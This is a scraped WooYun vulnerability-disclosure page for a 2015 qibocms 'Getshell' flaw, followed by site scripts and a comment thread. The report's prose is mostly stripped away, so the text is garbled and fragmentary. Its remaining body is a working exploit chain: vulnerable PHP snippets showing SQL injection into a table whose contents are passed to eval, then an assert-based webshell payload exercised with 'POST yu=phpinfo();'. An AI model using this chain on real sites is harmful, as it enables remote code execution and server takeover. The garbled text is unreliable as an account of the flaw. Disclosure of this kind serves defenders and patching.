\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f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\u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">66</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(122599)"></a></span>
</span></h2>
<h3> <a href="wooyun-2015-0122599">WooYun-2015-122599</a>
<input id="fbid" type="hidden" value="122599">
</h3>
<h3 class='wybug_title'> qibocms Getshell <img src="path_to_url" alt="" class="credit">
</h3>
<h3 class='wybug_corp'> <a href="path_to_urlCMS">
CMS </a>
</h3>
<h3 class='wybug_author'> <a href="path_to_url"></a><img height="12" width="12" style="vertical-align:-2px;margin-left:2px;" src="path_to_url" alt="" /></h3>
<h3 class='wybug_date'> 2015-06-24 23:21</h3>
<h3 class='wybug_open_date'> 2015-09-27 16:22</h3>
<h3 class='wybug_type'> SQL</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 20</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">14</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="122599";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2015-06-24 <br/>
2015-06-29 <br/>
2015-07-02 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/>
2015-08-23 <br/>
2015-09-02 <br/>
2015-09-12 <br/>
2015-09-27 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description">,<br />
, <br />
, <br />
<br />
,GPC</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail">:path_to_url />
<br />
<br />
<br />
inc/common.inc.php<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>isset($page) && $page = intval($page);<br />
isset($id) && $id = intval($id);<br />
isset($fup) && $aid = intval($fup);<br />
isset($aid) && $aid = intval($aid);<br />
isset($rid) && $rid = intval($rid);<br />
isset($fid) && $fid = intval($fid);<br />
isset($cid) && $cid = intval($cid);<br />
isset($cityid) && $cityid = intval($cityid);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
city_idintval<br />
<br />
<br />
<br />
search.php<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>$postdb[city_id] && $city_id = $postdb[city_id];//city_id intval<br />
$postdb[street_id] && $street_id = $postdb[street_id];<br />
$postdb[zone_id] && $zone_id = $postdb[zone_id];<br />
<br />
<br />
<br />
@include_once(ROOT_PATH."data/zone/$city_id.php");//<br />
<br />
$city_fid=select_where("{$_pre}city","'postdb[city_id]' onChange=\"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')\"",$city_id);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
qibo qibo<br />
<br />
<br />
<br />
function_exists('html') OR exit('ERR');<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
qibo, <br />
<br />
<br />
<br />
path_to_url />
<br />
<br />
<br />
do/js.php <br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code><?php<br />
error_reporting(0);<br />
require(dirname(__FILE__)."/../data/config.php");<br />
if(!eregi("^([0-9]+)$",$_GET['id'])){<br />
die("document.write('ID');");<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
extract, <br />
<br />
<br />
<br />
admin/hack.php<br />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>if($hack&&ereg("^([a-z_0-9]+)$",$hack))<br />
{<br />
if(is_file(ROOT_PATH."hack/$hack/admin.php")){<br />
include(ROOT_PATH."hack/$hack/admin.php");<br />
}else{<br />
showmsg("");<br />
}<br />
<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
hack/jfadmin/admin.php<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>elseif($action=="addjf"&&$Apower[jfadmin_mod])<br />
{ <br />
<br />
$db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");<br />
jump("","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
do/jf.php<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);<br />
<br />
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");<br />
while($rs = $db->fetch_array($query)){<br />
<br />
$fnameDB[$rs[fid]]=$rs[name];<br />
$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//1 fid1<br />
while($rs2 = $db->fetch_array($query2)){ <br />
eval("\$rs2[title]=\"$rs2[title]\";");//eval<br />
eval("\$rs2[content]=\"$rs2[content]\";");<br />
$jfDB[$rs[fid]][]=$rs2;<br />
}<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
,<br />
<br />
inc/common.inc.php<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>function Add_S($array){<br />
foreach($array as $key=>$value){<br />
@eregi("['\\\"]+",$key) && die('ERROR KEY!');<br />
if(!is_array($value)){ <br />
$value=str_replace("&#x","& # x",$value); //<br />
$value=preg_replace("/eval/i","eva l",$value); //<br />
!get_magic_quotes_gpc() && $value=addslashes($value);<br />
$array[$key]=$value;<br />
}else{<br />
$array[$key]=Add_S($array[$key]); <br />
}<br />
}<br />
return $array;<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
eval,assert<br />
<br />
<br />
<br />
<br />
<br />
path_to_url{@assert($_POST[yu])}<br />
<br />
<br />
<br />
path_to_url />
<br />
<br />
<br />
POSTyu=phpinfo();<br />
<br />
<br />
<br />
<br />
<br />
path_to_url />
<br />
<br />
<br />
<br />
<br />
</p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail"></p><p class="detail usemasaic"><a href="../upload/201506/242310367f3cfea06b460364efcd4aad27024c0f.jpg" target="_blank"><img src="../upload/201506/242310367f3cfea06b460364efcd4aad27024c0f.jpg" alt="1.JPG" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail"> </p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title=""></a>@<a style="font-weight:normal" href="path_to_url" title="qibocms Getshell"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">Rank20 </p>
<p class="detail">2015-06-29 16:20</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="122599";
var bugRating="2";
var myRating="";
var ratingCount="4";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">4</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<div id="rating_wrap">
<span class="stars5 starstop" title=""></span><div class="power" style="width:100px"></div>
100%<br/>
<span class="stars4 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars3 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars2 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
<span class="stars1 starstop" title=""></span><div class="power" style="width:0px"></div>
0%<br/>
</div>
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-24 23:22</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1332 :198 | Only Code Never Lie To Me.)
<div class="likebox">
<span class="likepre" title="" rel="151784"></span>
<span class="liketext liketext_min"><span id="likenum_151784">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@Finger QAQ </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-24 23:24</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:933 :107 )
<div class="likebox">
<span class="likepre" title="" rel="151785"></span>
<span class="liketext liketext_min"><span id="likenum_151785">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">2#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-24 23:26</span> |
<a target='_blank' href="path_to_url">answer</a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:453 :54 | )
<div class="likebox">
<span class="likepre" title="" rel="151786"></span>
<span class="liketext liketext_min"><span id="likenum_151786">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">3#</span>
<a title=" answer" href="javascript:void(0)" class="replyBtn" onclick="Reply('answer')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-24 23:31</span> |
<a target='_blank' href="path_to_url">Pany</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:134 :31 | 0day just like a joke.)
<div class="likebox">
<span class="likepre" title="" rel="151787"></span>
<span class="liketext liketext_min"><span id="likenum_151787">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>
</p>
</div>
<div class="replylist-act">
<span class="floor">4#</span>
<a title=" Pany" href="javascript:void(0)" class="replyBtn" onclick="Reply('Pany')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-24 23:35</span> |
<a target='_blank' href="path_to_url">Hax0rs</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:43 :8 | Hax0rs)
<div class="likebox">
<span class="likepre" title="" rel="151788"></span>
<span class="liketext liketext_min"><span id="likenum_151788">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> qibocms Getshell </p>
</div>
<div class="replylist-act">
<span class="floor">5#</span>
<a title=" Hax0rs" href="javascript:void(0)" class="replyBtn" onclick="Reply('Hax0rs')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 00:26</span> |
<a target='_blank' href="path_to_url">Rainism</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:11 :3 | hacking for fun)
<div class="likebox">
<span class="likepre" title="" rel="151818"></span>
<span class="liketext liketext_min"><span id="likenum_151818">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">6#</span>
<a title=" Rainism" href="javascript:void(0)" class="replyBtn" onclick="Reply('Rainism')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 00:57</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1469 :439 | )
<div class="likebox">
<span class="likepre" title="" rel="151821"></span>
<span class="liketext liketext_min"><span id="likenum_151821">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">7#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 01:00</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:182 :44 | ...)
<div class="likebox">
<span class="likepre" title="" rel="151822"></span>
<span class="liketext liketext_min"><span id="likenum_151822">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>. </p>
</div>
<div class="replylist-act">
<span class="floor">8#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 08:58</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:62 :9 | )
<div class="likebox">
<span class="likepre" title="" rel="151830"></span>
<span class="liketext liketext_min"><span id="likenum_151830">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">9#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 09:13</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:359 :70 | )
<div class="likebox">
<span class="likepre" title="" rel="151837"></span>
<span class="liketext liketext_min"><span id="likenum_151837">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">10#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 09:42</span> |
<a target='_blank' href="path_to_url">Cheery</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:26 :5 | 0.0)
<div class="likebox">
<span class="likepre" title="" rel="151846"></span>
<span class="liketext liketext_min"><span id="likenum_151846">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">11#</span>
<a title=" Cheery" href="javascript:void(0)" class="replyBtn" onclick="Reply('Cheery')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 10:05</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:103 :16 | )
<div class="likebox">
<span class="likepre" title="" rel="151852"></span>
<span class="liketext liketext_min"><span id="likenum_151852">2</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">12#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-25 13:01</span> |
<a target='_blank' href="path_to_url">DeadSea</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:184 :58 | ...)
<div class="likebox">
<span class="likepre" title="" rel="151912"></span>
<span class="liketext liketext_min"><span id="likenum_151912">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">13#</span>
<a title=" DeadSea" href="javascript:void(0)" class="replyBtn" onclick="Reply('DeadSea')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-27 10:28</span> |
<a target='_blank' href="path_to_url">yinian</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:71 :24 | )
<div class="likebox">
<span class="likepre" title="" rel="152309"></span>
<span class="liketext liketext_min"><span id="likenum_152309">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ </p>
</div>
<div class="replylist-act">
<span class="floor">14#</span>
<a title=" yinian" href="javascript:void(0)" class="replyBtn" onclick="Reply('yinian')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-06-27 13:12</span> |
<a target='_blank' href="path_to_url">nzk1912</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:41 :10 | 8...)
<div class="likebox">
<span class="likepre" title="" rel="152324"></span>
<span class="liketext liketext_min"><span id="likenum_152324">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>wooyun id </p>
</div>
<div class="replylist-act">
<span class="floor">15#</span>
<a title=" nzk1912" href="javascript:void(0)" class="replyBtn" onclick="Reply('nzk1912')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-07-04 21:46</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:4 :1 | Qq190290957)
<div class="likebox">
<span class="likepre" title="" rel="153290"></span>
<span class="liketext liketext_min"><span id="likenum_153290">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@nzk1912 id </p>
</div>
<div class="replylist-act">
<span class="floor">16#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-07-10 11:18</span> |
<a target='_blank' href="path_to_url">nzk1912</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:41 :10 | 8...)
<div class="likebox">
<span class="likepre" title="" rel="154197"></span>
<span class="liketext liketext_min"><span id="likenum_154197">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ </p>
</div>
<div class="replylist-act">
<span class="floor">17#</span>
<a title=" nzk1912" href="javascript:void(0)" class="replyBtn" onclick="Reply('nzk1912')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-07-14 10:30</span> |
<a target='_blank' href="path_to_url">Mr.R</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:52 :14 | qq2584110147)
<div class="likebox">
<span class="likepre" title="" rel="154602"></span>
